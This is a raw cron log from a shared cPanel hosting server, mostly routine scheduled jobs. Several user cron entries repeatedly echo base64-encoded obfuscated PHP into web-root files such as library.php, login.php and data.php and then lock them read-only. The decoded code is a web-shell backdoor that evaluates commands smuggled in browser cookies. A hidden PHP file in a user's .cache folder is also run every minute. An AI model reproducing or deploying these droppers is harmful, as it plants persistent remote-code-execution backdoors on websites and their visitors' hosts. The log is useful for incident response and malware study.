Jun  7 09:09:02 medusa CROND[5827]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:09:02 medusa CROND[5832]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:09:02 medusa CROND[5835]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:09:02 medusa CROND[5836]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:09:02 medusa CROND[5838]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:09:02 medusa CROND[5839]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:09:02 medusa CROND[5841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:09:02 medusa CROND[5830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:10:02 medusa CROND[7448]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 09:10:02 medusa CROND[7449]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:10:02 medusa CROND[7450]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:10:02 medusa CROND[7451]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 09:10:02 medusa CROND[7453]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 09:10:02 medusa CROND[7454]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 09:10:02 medusa CROND[7455]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:10:02 medusa CROND[7459]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 09:10:02 medusa CROND[7452]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 09:10:02 medusa CROND[7457]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:10:02 medusa CROND[7458]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 09:10:02 medusa CROND[7456]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 09:10:02 medusa CROND[7470]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:10:02 medusa CROND[7469]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 09:10:02 medusa CROND[7476]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 09:10:02 medusa CROND[7460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:10:02 medusa CROND[7474]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 09:10:02 medusa CROND[7471]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 09:10:02 medusa CROND[7472]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 09:10:02 medusa CROND[7484]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:10:02 medusa CROND[7485]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:10:02 medusa CROND[7493]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:10:02 medusa CROND[7494]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 09:10:02 medusa CROND[7495]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:10:02 medusa CROND[7500]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:10:02 medusa CROND[7478]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 09:10:02 medusa CROND[7488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:10:02 medusa CROND[7487]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 09:11:01 medusa CROND[9238]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:11:01 medusa CROND[9239]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 09:11:02 medusa CROND[9249]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 09:11:02 medusa CROND[9255]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:11:02 medusa CROND[9289]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:11:02 medusa CROND[9290]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:11:02 medusa CROND[9291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:11:02 medusa CROND[9292]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:11:02 medusa CROND[9293]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:11:02 medusa CROND[9294]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rp